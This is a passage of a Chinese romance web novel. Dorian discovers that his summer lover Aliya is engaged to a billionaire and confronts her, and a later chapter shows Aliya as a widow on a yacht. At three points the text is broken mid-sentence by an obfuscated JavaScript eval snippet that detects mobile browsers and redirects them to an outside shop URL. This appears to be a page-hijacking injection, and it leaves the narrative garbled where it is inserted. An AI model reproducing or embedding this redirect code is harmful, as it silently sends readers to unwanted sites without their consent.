他控制不住手上力道,有那么一瞬,他差点以为钥匙会承受不住断在锁芯里。 门板顺从地朝内开启,多里安走进去。令人不安的寂静迎面包围他。 玄关处的简易金属鞋架张牙舞爪得陌生,定睛看,缺了一双鞋。 阿利雅出门了。 多里安拖着身体进厨房,接了一杯水喝掉,身体在陷入椅子时骤然脱力。 他环顾四周,公寓和他早晨离开时并无多大变化。最先撞入他视野的是立在沥水架上的餐盘,活泼温暖的乡村风格,他和阿利雅逛跳蚤市场时一起挑的。 餐具、食物、日用品,这些物件如涓流般点点滴滴淌进公寓。现在看来,每样都是隐藏了身份的舞台道具,合谋搭出一个逼真的日常生活布景。 逼真,无限逼近真实,但终究是虚假。 仿佛要提醒自己这个结论,多里安打开手机相册,最新的几张截图都是他在火车上疯狂搜索调查的成果。 点开,放大。 第一张是某所高级中学的校内新闻页。 德·博蒙特家低调得可疑,‘阿利雅·德·博蒙特’不仅没有公开的实名社交账户,如果搜索她的名字,全网更是找不到一张清晰的正脸照片。亨利·道尔订婚的新闻里也只模糊提到了女方的名字、国籍和年龄。 就连这个名字出现的地方也寥寥无几,能从中获取的信息少得可怜。 这张截图中的网页属于圣日内维耶高级中学。至少可以确定,两年前的二月,那里有一名叫阿利雅·C·德·博蒙特的学生在读。 圣日内维耶是一所国立直属精英中学,位于首都中心人文老区,以优秀的CPGE预科课程闻名。这个阿利雅是校哲学辩论社团的一员,两年前,她出现在首都大区参赛队员名单中。 多里安没有问过阿利雅的教育履历。仅凭这一则校内新闻,并没办法证明她们是一个人。 第二张截图是博蒙特城堡基金会官网发布的讣告: ‘我们以沉痛的心情地告知各位,本基金会法人,让·洛朗德·德·博蒙特先生与太太妮可因故不幸去世。 ‘依照遗嘱,德·博蒙特夫妇的葬礼已于8月27日举行,感谢各位博蒙特之友的关心悼唁。理事会副主席暂时代理法人职务,后续运营变更将持续跟进。’ 发布时间,去年9月1日。 落款是副主席 S·克莱夫,以及某个‘A.C. 德·博蒙特’。 多里安翻遍了基金会的所有通告,都没找到关于这个名字缩写与阿利雅·夏洛蒂亦一样的人的其他信息。 调查到这一步,多里安依然没有能让两个阿利雅画等号的决定性证据。 左划,最后一张截图是来自Flickerlog平台的照片。 多里安找到这个账户完全要感谢社交平台算法。 他先发现了圣日内维耶中学的哲学辩论社团的账户,但里面的帖子定期清理,他一无所获。 然而Flickerlog紧接着就推荐了几个关联用户,其中一个的账户名异常眼熟,与全名关联起来毫不费力。而出现阿利雅·德·博蒙特的校园通告里,就有这么一个对得上的名字。 账户主人家境优越,就读某座私立大学,正在一家咨询机构实习。滑过漫不经心展示酒店、健身房和限量手链手袋的大量照片,接近账户底部是两年前的一张不起眼日常相片: 会议室桌子,坐在桌子边的少男少女,散漫摆着的饮料杯和点心盘,亮着屏幕的笔记本电脑上隐约可以看到‘辩题’等字样。背景虚化的角落,大概是会议室玻璃门,上面有一个与圣日内维耶中学校徽轮廓相似的图案。 这张照片配文:‘年轻哲学家们也需要茶歇’ 图片的右下角,非常靠近镜头的地方,一个女孩正单手撑着太阳穴和身边人说话。 她只露出半张脸,栗色长发披散,镜头捕捉到的眼睛是多里安熟悉的、虹膜边缘微微泛绿的浅褐色。 无论看多少次,与这张关键证据对视超过两秒,多里安就忍不住想要闭上眼睛。 他扮演了一把剥丝抽茧寻找罪证的侦探角色,但罪证真的到手,他竟然恼恨起来:恨犯人为什么不贯彻缜密的行事风格到底,为什么偏偏在关键时刻马虎,意外被目击留底。 离完美犯罪明明就差一点。 只要欠缺最后一环,他的推论就无法成立。 他也就还能自欺欺人地相信都是巧合。 多里安一小块一小块地掰开剩下的干酪,木然塞进嘴里。背叛和欺骗的苦味在嘴里蔓延,他感觉自己像在咀嚼怪味橡胶。 锁芯在这时转动开启,房门开阖的响动与轻快的语声同时响起: “噢,你已经回来了?” 多里安冻住。 他没法回头看,只能坐在原位,听着熟悉的脚步声越来越近。 比手臂先半秒环住他的是阿利雅身上的淡香水味。 咚的一下柔和闷响,她把装了东西的购物袋被放到厨房台面上,接着从后抱住他。 “累坏了?”她在他肩膀上蹭了蹭,“希望你还有力气吃饭,我买到了很好的生火腿。我原本还想弄点蜜瓜配着一起吃,但是切开的不新鲜,整只的又太贵了,我应该再早点去的……” 多里安缓缓侧首看向阿利雅。 坚硬的、冰冷的、暴烈的怒意在与她四目相对的瞬间逆流,像要从内撕裂他。 她认真地和他讲关乎晚餐的诸多重大选择,看着他的眼睛亮晶晶的。就只是那么轻易地,准备好的开场白作废,他一句话都问不出口了。 如果这样的眼神、还有触碰他的轻柔力道全都是演技,那么她才应该去拍电影。 “说起来,试镜怎么样?” 所以,阿利雅佯作随意地发问时,多里安没答话。他抓住她的上臂一拉,略微仰头,准确找到她的嘴唇。 唇齿纠缠时他压着眼睑,他看不到她,所以他好像又可以怨恨责怪她了。 那些无处宣泄的情绪泼溅出来,打湿彼此的唇角。不知道什么时候,阿利雅侧身坐到了多里安腿上,手指顺着他的衬衫肩线无意识地来回走着,时不时忽然揪紧。 在仿佛要吞吃掉彼此的亲吻间隙,她略微后撤,双手捧住他的脸,蹙起的眉间写着疑惑与忧虑: “你还好吗?……你确定不想聊聊吗?” 多里安垂下眼睫,扯了扯嘴角。 “别说话。”他低柔地下命令,一把将她压得更近。 眼神、微表情、话语、台词,全都可以是演技——表演课入门,基础中的基础。所以看着她、听她说话都让他痛苦。 而伸手去推、去触碰,才能分辨被爱的证据是否是沙子垒出的幻象城堡。于是可以切实抓住的,好像就只剩下最原始诚实的反应。 多里安一直是个温柔体贴的情人。 哪怕是他偶然发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483573|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的坏心眼,也往往包裹在许多层的柔软话语和亲吻下,欠缺压迫感。 唯独那个8月17日不同。绝望代替热情燃烧,狂乱,几近粗暴,试探再试探,在索取和给予的循环中求证不掺杂谎言的爱;无处宣泄的恨意找到爱的表达形式,冒犯,侵略,探究底线可以为他松动到什么地步,无限逼近极限。 地中海边的夏季白昼明亮并且漫长。透过阳台门帘洒落的日光最初是白色,廉价的复合板地面和旧餐桌都沐浴其中,短暂蒙上一层润泽的光泽,像干净的画布,任由拉长的人影在上面摇摇晃晃,留下潮湿的色块。 而后橙粉色的夕阳张扬地侵染整片天空,晚霞的光辉依依不舍淡去时,蓝紫色的冷光灌满窄小的卧室,也笼罩两人份的脸庞和肩膀。 卧室突然有那么一点像个灌满水的鱼缸。 只要不去想外面还存在的整片海洋,拥抱着交换呼吸就足够,不会窒息,没有危险,就那么沉沉睡去。 多里安却无法安心久睡。狂潮过后,他不确定自己是否真的抓住了什么切实的证据。无望的、从内啃噬他的空虚感只有更加强烈。 阿利雅在他怀里醒来的时候,他已经神志清醒地躺了很久很久。 “你睡着过吗?”她抬手轻轻抚摸他眼下青黑的痕迹。 “嗯。”他应声,眼珠却定定向着墙上的影子。 “多里安。” 他终于垂眸看她。 “如果是昨天的试镜不顺利,下个机会很快就会有的。” 多里安眨了眨眼。哦,试镜,那是非常遥远的字眼。 “不,和那没关系。” 阿利雅无言等待,等他继续说明。 于是多里安说:“我可以问你一个问题么。” “什么?” “之后……等夏天结束,我们会怎么样?” “怎么样是指?”卧室里宁静的水波在退潮,阿利雅没有看他,疑惑的声调显得空洞。 多里安笑了一下,委婉戳穿她的闪躲态度似地,碰了碰她的脸。 “夏天会结束,不论是我还是你都不会一直待在度假小镇。我们现在的关系,现在的一切……那时你有什么打算?” 阿利雅的唇瓣微微颤抖。 他到最后都不知道那一刻她没有说出口的答句是什么。 一秒,两秒,三秒,半分钟,沉默逐渐浓重,令人窒息。 阿利雅脱出他的怀抱,坐到床边,背对他披上睡衣。 “让我想一想可以吗?”她说。 “你需要多少时间?” 多里安强硬追问的态度让阿利雅略微回头。她想了想:“我不想乱承诺什么再毁约,总之,给我一点时间。” 婚礼请柬上的日期在眼前一晃而过。他笑了声:“时间好像不多了。” “什么?”阿利雅嚯地转过头看他。 多里安也缓慢坐直了。他靠在床头,对她微微笑着。他看了她好几秒,念出阿利雅租下这间短租公寓使用的名字:“阿利雅·莫罗,” 半拍的停顿。 “你愿意和我结婚吗?”他用异常平淡的语调问道。 阿利雅整个人都僵硬了,有那么片刻,她浑身在动的好像只有摇撼的瞳孔——震惊地扩张,而后又收缩。 “怎……怎么那么突然?”她扶着床头站起来,舌头有点打结。 “很突然吗?”多里安反问。 “我们才二十,考虑这些有点太早了……” “年龄是你唯一的顾虑吗?”多里安像是觉得这话滑稽,却没能笑出来,表情顿时怪异极了。 “还是说,你有别的不愿意接受我求婚的理由?比如,我们认识的时间太短;又或者,你没那么喜欢我?再比如……” 他说到这里闭了闭眼,准备好迎接迎面一刀似地吸气,短促地吐出下一问: “你不想犯重婚罪?” 阿利雅脸上霎时失去血色。 她盯着他看了半晌,低声说: “所以,你知道了。” 14.5-1 阿利雅的反应坏过多里安最糟糕的想象。 没试图确认他知道多少,不否定指控,没有辩解。她只是苍白着脸站在那里,不发一语。 黎明前无光的寂静拉长又拉长,几乎要让人发狂。 多里安坐不住。他起身穿衣服,系睡袍带子的时候又忍不住匆忙回身。阿利雅太安静了,连呼吸的声音都渐渐听不到,仿佛随时会人间蒸发。 可他回头的时候,她仍旧立在原地,像个沉默的幽灵。 直视她的每一秒都是煎熬,但他没有转开眼,反而直直地盯着:“你没有别的想说的了?” 阿利雅睫毛快速颤动了两下。有那么一瞬,多里安以为她要落泪了。但那好像只是光线昏暗造成的幻觉。 “我……”她出声就顿住,清了清嗓子。 这一缕激情的沙哑余韵此时此刻分外刺耳,近乎是种嘲笑。 她居然真的低下头,扯了扯嘴角:“你希望我说什么?” 嗡,血液上冲,多里安脑海中一片空白。回过神的时候,他已经绕过床尾,与阿利雅面对面。 “那你告诉我!告诉我我猜错了,告诉我这不是真的!” 他厉声低喝,听上去宛如受伤的哀嚎。 多里安从来没用这种语气对她说过话,阿利雅明显被吓到了,绷紧身体向后缩了半步。 他见状失声低笑:“你怕什么?从认识到现在,我好像连一句重话都没对你说过。” “我不是有意的。”阿利雅轻声说。 她没有再退,双手却环抱胸前,依然是防御姿态。 多里安哈了一声:“你的无意指的是?只是刚才退的那一下,还是说你想让我相信……接近我、让我爱上你,同时早就准备好甩掉我之后立刻和亿万富翁结婚,这一切也都是无心的意外?!” 他的手指和牙齿都有些打颤,声调因为激动抬高。 “看着我一无所知地围着你打转,做一些不可能实现的蠢梦,很有意思是吗?!是不是每当我陷得更深一点,你都在偷偷嘲笑我,像等着收割果实,期待着看我为你心碎?” “停,”阿利雅闭了闭眼,略微抬起右手食指,“不要说得好像你是完全无辜的受害人。” 多里安额角一跳。 她迎上他的瞪视,不再保持刚才那仿佛要缩进茧里的木然姿态,声音和眼睛里闪烁的光亮都带刺:“你和我一样清楚,一开始谁都没打算把这段关系当真。只是夏天的一时消遣,玩玩而已。” 多里安冷冷回道:“但它早就不是了。” 阿利雅抿住嘴唇,僵着脸没有否定。隔了一拍,她才硬邦邦地说:“那个时候我不知道事情会变成这样。” 她反驳之前那十分之一秒沉默刺中多里安,带来的痛楚比意识到被欺骗的那刻更为强烈。 为什么不否定到底?他宁可她否认。 到了这个地步,他反而想笑。 他也确实嗤笑出声了:“哈,实在抱歉,我没有一开始就被你迷得神魂颠倒,刚认识就打算和你共度余生。但事实没有改变,你从最初就对我隐瞒身份,然后对我撒谎,一次又一次。” 阿利雅别开脸:“我不知道还能怎么做。” “你完全可以更早对我坦白。在我还没有那么——”多里安强行咽下到了嘴边的词句,“在还来得及的时候。” 咖啡馆露台上某个幸福到炫目的午后浮现眼前。他险些呛住:“我不会随便用上爱这个词。你本可以在那时候和我说清楚。” 那个一切恰到好处的下午,他爱她的事实像天启降临。 短暂的忐忑不安后,他确认了她也爱他。 那时他光顾着为心意相通欢喜,根本没细想为什么阿利雅最初的反应是震惊而后落泪。 ——又一个只有后知后觉才能发现的险恶伏笔。 “我想过对你坦白。好几次,就差一点。”阿利雅听上去并不在为自己辩解。 如果是现在,他应该可以轻松在回忆里找出那些她欲言又止的时刻。但多里安禁止自己顺着这条线想下去。 他冰冷地说:“但你最后没有。” “是,我最后没能做到。” 阿利雅的声音像轻飘的气球,摇摇晃晃,中间是空的。 多里安在音节与音节之间的缝隙里听到他自己心声的回音: ——不要用这种语气。 “我大概是这么说服自己的,”她笑了一下。 ——别再用这种表情。 “反正到最后,我一样会失去你,” ——会让他又产生错觉,好像她真的在乎。 “哪怕只有一点点时间,如果这样的日子能多持续一会儿就好了。” 多里安哑然。 他盯着她看了许久,终于轻声说:“你真残忍。” 阿利雅垂下视线:“我知道。” 无话可说的沉默。 “对不起,”她抬起眼睛望向他,声音却低下去,“真的很抱歉。” 多里安面无表情:“你想说的就这些?” 阿利雅拢紧睡袍衣襟,像是难以承受黎明前的凉意。 “我很抱歉,多里安,”她喃喃,而后稳住声调,开始冷静地逐条交代事项,“我下午就走,不,中午就有去火车站的第一班车。房租已经预付到月底,不用担——” 多里安深吸气:“所以这就是你的解决方案?玩弄别人的感情,然后骗局一被揭穿就立刻走人?” 阿利雅唇线抽动了一下:“如果我能为你做点什么,不管是什么事,只要是我……” 他大笑出声,再度打断她:“够了,你是不是还要假惺惺地用你未婚夫的钱‘赞助’我,封住我的嘴?” 阿利雅苍白的脸上终于有了颜色。但那是惊怒交加的赤红。 “够了。” 多里安的言辞只有更加尖锐:“阿利雅·德·博蒙特,把我当白痴戏耍还不够?你到底有多看不起我?!” “别再说了。我会当作没听到刚才的话。至少在道别的时候……”阿利雅闭了闭眼,“我们还可以给彼此留一点体面。” 他呵地笑了:“那不可能,也没必要。” 多里安看着阿利雅那生硬却也克制的面具因为他的一句话碎裂。 “那么你要我怎么做?!” 她呼吸急促,用他从没听过的刺耳声调大声反问,几乎在尖叫。 “好,你唾弃我,不屑接受我能给的所有补偿,那么我除了消失还能怎么做?你还要我怎么做?!跪在你脚边,一边哭一边乞求你的原谅吗?” “不!” 他什么都没想,什么都没来得及想,真心话脱口而出: “我要你留下!” 阿利雅失语,怔怔望着他,瞳孔动摇地颤抖。她像是突然头晕,茫然朝错误的方向转了半圈,才回身找到最近的墙壁扶好。 在她的注视下,多里安后知后觉地意识到自己说了什么。 耻辱与无力感如潮汐上涨。 “你……”他呛住,声音从第一个音节开始破碎。 响亮崩裂的不止是他的嗓音,还有苦苦维系的最后一丝自尊心。 他索性放弃了。 他咽下喉头被割伤般的刺痛,低低地问:“你就一定要和他结婚么?就不能……留在我身边吗?” 阿利雅背脊紧贴墙面,站得很直。 问句落下许久,她才轻却也清晰地答:“不行。” 多里安木然眨了眨眼睛。 “我必须和他结婚,”阿利雅背诵似地重复,“我会和他结婚。” “为什么?” “我需要钱。” “如果唯一的问题是钱,那么我们可以一起想办法,肯定还有别的解决办法。我可以去接平面模特的工作,那样来钱更快更稳定。而且昨天我去试镜的角色也很有希望,那部制作班底口碑很好,只要我正式出道,肯定就会有更多的机会,……” 多里安语速越来越快,仿佛有一群吞食话语的怪物正追赶着他。只有一口气说完,他才不会被它们喷吐的沉重静默吞噬。 阿利雅一言不发地听着,凝视他的目光温柔,又有点悲伤。 好几次,她差点忍不住打断他。但终究没有。 最后也是这份任他描绘完美愿景的宽容击败他。 “说不定我能火呢?我的经纪人说我完全有那个潜力,缺的只是一个好剧本,一个机会。到那个时候,我们——” 语声戛然而止。 多里安深深吸气,而后吐息。再开口时,他声音里的情绪也耗尽了:“你可以直说的。你不相信我有那个本事。” “我没这么说。” 其实多里安都没法相信自己口中单薄空洞的愿景。 但他的骄傲已经在他出言祈求她留下时碎得满地都是。他能做的好像只剩下捡拾起尊严的碎片,拼凑出一面恶毒的、带刺的盾,让自己不那么可笑可悲。 于是他机械地勾了勾唇角。 “好,责任一半在我,怪我负担不起跑车和奢侈品,给不了你想要的生活。毕竟不是每个人都有那样的好运,一出生名下就有信托基金。” 他故意从头到脚地打量她,视线唯独绕过她的脸。 “可谁又能想到呢?家里有城堡的女继承人居然会住廉价周租公寓。” 阿利雅果然被激怒了:“你什么都不知道!” 多里安哑声笑:“那是当然,你什么都没告诉我。” 她右手紧紧抓着自己的左手臂,略微别开脸:“我不是你嘴里的那种女继承人。我家里出了一些问题,在今年年底之前需要筹集到一大笔钱。” “一大笔是多少?”多里安也不知道他为什么还在追问。每个新的事实都只是让本就倾斜的天秤更倾斜,没有一个砝码在他这边。 “很多很多。多到我仅凭个人的努力,无论怎么都凑不齐的地步。” “多到哪怕我突然走红也来不及?” 阿利雅幅度很小地点了点头。 多里安低头捏了捏眉心。受伤的痕迹从他的声音里消失了,剩下的只有谈论天气般的平静:“所以……你的解决方案是婚姻。” 她犹豫了一下,轻声说:“多里安,伤害你不是我的本意。” 夜晚不知何时渐渐褪色,窗外弥漫着朦胧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498179|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷调灰白。这片酝酿着日出的惨淡颜色潜入室内,将相对无言的两人笼罩。 “所以,就这样了?”多里安问。 “看来是这样。” 他走到充当衣帽间的壁龛前,随手扯了两件衣服穿上。 阿利雅坐在床沿,侧头望着床头柜上的闹钟,仿佛成了写生里静止的人像。 多里安扯了扯T恤领口,从她身前走过去。她的侧脸绷紧了,但没有看他。 “如果凑不齐那笔钱,你会怎么样?” 意料之外的驻足,预想之外的问题。她转过来看他。 多里安没容许对视失控地拉长为凝睇。他调转视线和片刻之前停下脚步一样突然。 “只是好奇顺便一问。”这么说着,他走了出去。 穿过客厅,经过简易厨房,在属于他的那半边鞋架前短暂停留。公寓门在他身后关上,他就那么离开了。 ※ 多里安在海边漫无目的地游荡了两个多小时,六点四十分准时出现在露台咖啡馆门口,开始今天的早班。 8月18日是个多雾的早晨。缺了太阳,海滨忽然就冷得像是进入另一个季节。出门散步的人流锐减,店里格外清闲。 多里安罕见地难以忍受咖啡订单太少。为了躲避更艰难的东西,制作咖啡这样精细的活反而成了更轻松的选项。 高度专注时,他就可以什么都不想了。 上午十一点不到,休息时间内,多里安接到一个电话: 他拿到了那个爱情喜剧片的男三号角色,他的首个商业电影角色。 结束通话,多里安第一反应是给阿利雅打电话。幸好他在拨出电话之前就反应过来,下意识按灭了屏幕。 屏幕玻璃映出他的影子,视野忽然有些模糊,但不用看也知道,他的表情肯定很滑稽。 在那之后,早班剩下的不到一小时流速骤然变慢,多里安有点坐立不安。最后他终于忍不住,询问老板今天能不能提前下班。 他回到公寓时刚过十一点半。 多里安也说不清他在期待什么,然而打开门的那瞬间,他就知道那面目模糊的期望落空了。 鞋架空了半边。客厅的衣帽架也变得寥落。摆着餐具的架子,原本随意扔着居家衣物和毯子的沙发,浴室洗手台,卧室的每个抽屉,属于阿利雅的那一半物件全都消失了。 唯一的例外是她的那串公寓钥匙。 卸掉了挂着贝壳装饰的钥匙圈,平整地摊开摆在餐桌上,他一走进来就能看到的位置。 她说要消失,就真的连同生活过的痕迹都抹消。 阿利雅向来说到做到。 幽静的海滨小镇没有直达列车停靠,要坐二十分钟的巴士才能到最近的火车站。去车站的接驳巴士时刻表跟着列车班次来,工作日中午从小镇中心的皇冠酒店准时发车。 阿利雅说过,她会搭这班巴士离开。 多里安冲出公寓楼,朝着皇冠酒店狂奔。 肾上腺素开火,吸气,吐气,吸气,心跳和步伐一起加速,他的精神高度集中,眼前的道路分外清晰。不,确切说,除了通往目的地的路途,他什么都看不见了。 他在干什么?为了什么拼命地奔跑?不知道,多里安也没有浪费哪怕半秒时间去想。他脑海中只剩下一个单纯到愚蠢的念头: 他要在十二点之前赶到车站。 而只要分出哪怕一点精力思考,他的步子就会放缓,他就会赶不上。 多里安看得到车站了,隔着小镇唯一的四车道马路。 皇冠酒店门前停靠的巴士仅有一辆,引擎已经发动。司机把最后一个箱子滑进行李仓,抬高双臂,用力阖上仓盖,慢悠悠地往车上走。 “等一下!”多里安朝大巴跑过去,眼珠来回动着,慌张地隔着车窗玻璃寻找熟悉的人影。 巴士司机回头看他一眼,抬腕确认时间。 到十二点了吗?不重要,不再重要了,阿利雅坐在巴士后门往前数第二排。她听到了声音,抬头向外看。 她和多里安隔着车窗四目相对。 她的脸上因为过于震惊一片空白。 多里安气息急促,濡湿的黑发狼狈地贴在额头脸颊上。他看着她,嘴唇无声翕张。 他许了一个愿。 或许真的有天使在聆听并且转达凡俗的愿望,那一刻他真的那么相信。因为下一秒,阿利雅起身,从车窗后消失了。 多里安闭眼又睁眼,阿利雅又出现在车门口。 她下最后车门一级台阶时踉跄了一下,险些摔倒。多里安冲上去扶住她。她反抓住他手臂,指节用力到泛白,整个人都抖得厉害,好像随时会脱力陷到地上。 多里安紧紧抱住她。 阿利雅的脸埋在他颈窝,滚烫的热意打湿他的皮肤,朝他的领口内侧淌落。她好像都没完全理解自己在干什么,带着哭腔的声音颤抖,有些茫然,却也前所未有的赤裸并且脆弱。 “我不想走。”她喃喃。 多里安低下头亲她的头发:“那就别。” 那是夏天还剩不到半个月的正午。 可最后的最后,她还是走了。 15.5-2 时近午夜,弦乐让位给电子乐,游艇底层的舞池里人影攒动。 阿利雅还不想回舱房休息,认识的面孔都不知去向,她于是干脆坐在舞池边缘的吧台边喝酒。 “女士,我可以坐这里吗?”有些醉醺醺、老套到掉渣的搭讪开场白响起。 阿利雅循声回头,双方都是一愣。 “狗屎!!”猎艳目标竟然是阿利雅,对方脸色顿时难看得像是真的吃下了不得了的东西。 阿利雅抬了一下眉毛:“哈里逊·塞恩菲尔德。” ——这位塞恩菲尔德先生是她亡夫的多年老友,从保养得体的身材牙齿到穿衣风格,乃至约会的异性嗜好,都无比契合金融男这个标签。他曾帮助亨利拉到关键创业资金,为此也获得了丰厚的回报。他至今持有0.7%的公司股份,身家可观。 哈里逊很快调整好表情,轻蔑而浮夸地笑起来:“噢——我还以为是谁呢!” 阿利雅懒洋洋地把鸡尾酒杯凑到唇边:“太好了,你还是那么精力旺盛。尤其以你的年纪来说,这真难得。” “你状态也真不错,花我那已故的可怜朋友的钱花到爽,感觉不赖吧?”哈里逊夹枪带棒地讽刺回来,他没压低音量,周围立刻有好事者看了过来。 阿利雅打开手包,在里面摸索了片刻,摸出一小管香水,在身前喷了两下,仿佛忍受不了对方身上的酒气。 哈里逊因为酒意充血的双眼立刻如好斗的猎犬般亮起来。 他在阿利雅身边一屁股坐下,好声好气地,近乎诱哄地说:“好了,事到如今,你就说实话又怎么样?就承认吧,是你干的,是不是?” 阿利雅拈起马丁尼酒杯里串起的橄榄,慢吞吞地咬了一口,置若罔闻。 “我现在想知道的,就是你到底做了什么,居然能让亨利突然默不作声地修改遗嘱?” “我是他的妻子。”阿利雅只回了这么一句。 “那不像他,完全不像他!而且你知不知道亨利突然出事股价跌了多少?!”哈里逊磨了磨牙,像是恨不得扑过来撕咬她,“谁知道你有多少个秘密账户、靠做空赚了多少脏钱!” 阿利雅叹了口气:“检方到最后都没找到你说的秘密账户,事发前后,也不存在有内幕交易嫌疑的大宗股权交易。而且就算我未卜先知,预料到亨利会出事,我那时候手头的现金和你们这些投资机构相比少得可怜,根本付不了空头交易需要的保证金和手续费。” 她顿了顿,搁下酒杯。 她没必要继续激怒哈里逊的,但她今天心情不太好,送上门的出气筒没必要推开。 于是阿利雅继续道:“我倒是听说,亨利身边有人在得知他的死讯之后,试图第一时间卖出股份,但因为撞上禁售期生效没能如愿……” “你在暗示什么?有种你就说清楚!” “一些闲言碎语而已,冷静点,哈里逊,你那么激动干什么?”她笑吟吟地把椅子往后拖了一点,离开对方唾沫的攻击范围。 她的每个动作、每个表情细节都在攻击哈里逊最脆弱敏感的神经。酒精压抑住理性,他从脖子到脸都涨得通红,完全忘记了身在何处,大喊大叫起来,声音甚至盖过了躁动的电子舞曲: “闭嘴!你这个杀人凶手,是你干的,是你杀了他,你这个爱算计摆布人的婊子!” “够了,塞恩菲尔德,走吧……”哈里逊的熟人循声过来拉人。 阿利雅则从手包里摸出手机,把录音界面亮出来,左右转了转展示。 录音已经持续了四分钟有余。 “我建议你现在就停下,否则我完全可以告你在公众场合诽谤。” 哈里逊闻言立刻冷静了下来,喘着粗气,不再开口。 阿利雅都有点佩服他风险管控的本能了。 但他又显然无法容忍自己就那么退让,过了片刻,他又冷笑着开口了: “哈,你的律师团队确实值得称赞,我都想让你介绍一下了。要告你就告,随时欢迎。但我也想问,你敢不敢以上帝的名义、以你家人的名义发誓,你和他的死完全没有关系?” “好了,你喝醉了,来,兄弟……”哈里逊的朋友试图从身后把他架走,但他反而奋力挣扎起来,一用力挣脱束缚,抬手就去抓阿利雅的胳膊。 已经有一小群人因为喧哗聚拢过来。 “嘿!”不知道是谁出声 与此同时,一道人影轻盈地挤到了事件中心,和哈里逊碰了个正着。 酒液倾泻,泼了哈里逊满怀。 “噢,我真是太抱歉了。” 哈里逊怒气冲冲地转头,咒骂之辞却在开口的瞬间卡壳了。 伊娃·菲满脸歉疚:“我可能喝多了,没看清路。” “不……”哈里逊喃喃地回复,气焰也好像被那一杯玛格丽特浇灭了。 “船上应该有换洗的衣服。”伊娃说着看了哈里逊的友人一眼。 对方会意,立刻拖着他去换衣服了。 “没事吧?”确认哈里逊两人走远了,伊娃这才问阿利雅。 阿利雅摇摇头。 伊娃原本还要说什么,但有人扬声招呼她,她做了个‘之后聊’的口型,按了按阿利雅的手背就离开了。 阿利雅没兴致待下去,一转身,猝不及防和多里安打了个照面。 她完全不知道他是什么时候冒出来的,居然就站在她一臂外的地方。 眼神相触,多里安立刻面无表情地转身,好像他也只是又一个看热闹的人,背影与事不关己的议论声一起散入灯光明灭的舞池。 ※ 游艇在凌晨一点半靠岸。 码头连接着豪华度假酒店,明天另有安排的客人登上轿车离开,其余人三三两两地步入酒店,有人还有兴致继续寻欢作乐,也有人准备安歇睡个懒觉,起床享用这里声名在外的早午餐。 阿利雅抬头确认了一眼套房号码,按下门铃。 过了好一会儿才有人来应门。 “啊,是你。”伊娃·菲有些意外。 “我打扰到你休息了?” “不,不,我还没安顿下来,离睡觉还早,”伊娃说着拉宽门缝,“请进。” 阿利雅没朝玄关深处走:“我只是来道谢的。刚才的事……谢谢你。” 伊娃回忆了几秒才想起来她在说哪件事:“没什么,这是我该做的。那种混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527904|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋就应该扔进海里喂鲨鱼。倒是我还欠你一句抱歉。” 阿利雅疑惑地偏了偏头。 “我必须坦白,我之前确实对多里安示好过,但当场就被|干脆地拒绝了。”伊娃说着翻了个白眼,“在我们这一行,他真的是非常少见的、完全抓不到桃色新闻的那类人。这当然引发了很多离谱的猜测,我的猜想嘛……他好像在亲密关系上有点心理阴影。” 阿利雅不知道该摆出什么表情,于是默默地侧过头去观赏套间玄关的装饰画。 “你们很显然有一段历史,我实在太好奇了,就发短信把多里安叫过来了……不过好像是我多事了。希望你别太生气。” 阿利雅垂眸笑了笑:“就算我被冒犯了,现在当然也只好原谅你了。” 伊娃愣了两秒,才确认她在开玩笑:“上帝,你的幽默感和格拉纳达的夏天一样干巴。” “总之,我带来了礼物,”阿利雅说着举起手中的龙舌兰酒,“你为我浪费了一杯玛格丽特。” 伊娃没客气,接过纤细的橙红色酒瓶端详:“唔,Don Julio 1942?我的最爱。这下我非得留你喝一小杯才行了。” “大明星不需要睡美容觉吗?” 伊娃大笑:“今天不需要。” 她转身熟练地寻找酒杯,一边拧瓶盖一边回转过来认真道:“阿利雅,我很喜欢你,但愿我们可以成为朋友。” 阿利雅和对方碰了碰杯:“我也是这么想的。” 虽然伊娃声称不需要美容觉,但两小杯龙舌兰下肚,她还是流露出一些疲态。阿利雅顺势告辞上楼。 今晚入住的客人显然还有不少没睡,电梯上上下下极为忙碌。 烈酒的劲头慢慢上来,阿利雅站在电梯厅有点打瞌睡。好不容易等来悦耳的抵达提示音,她举步就往轿厢里走,却又硬生生在门前停下。 今天晚上记不清第几次,她又遇到了多里安。 他靠在轿厢角落,西服外套搭在手臂上,领口松敞到第二粒纽扣,显然刚刚从另一场气氛热烈的聚会中脱身。 酒意让唇舌的哨卡松动,阿利雅问:“你在跟踪我吗?” 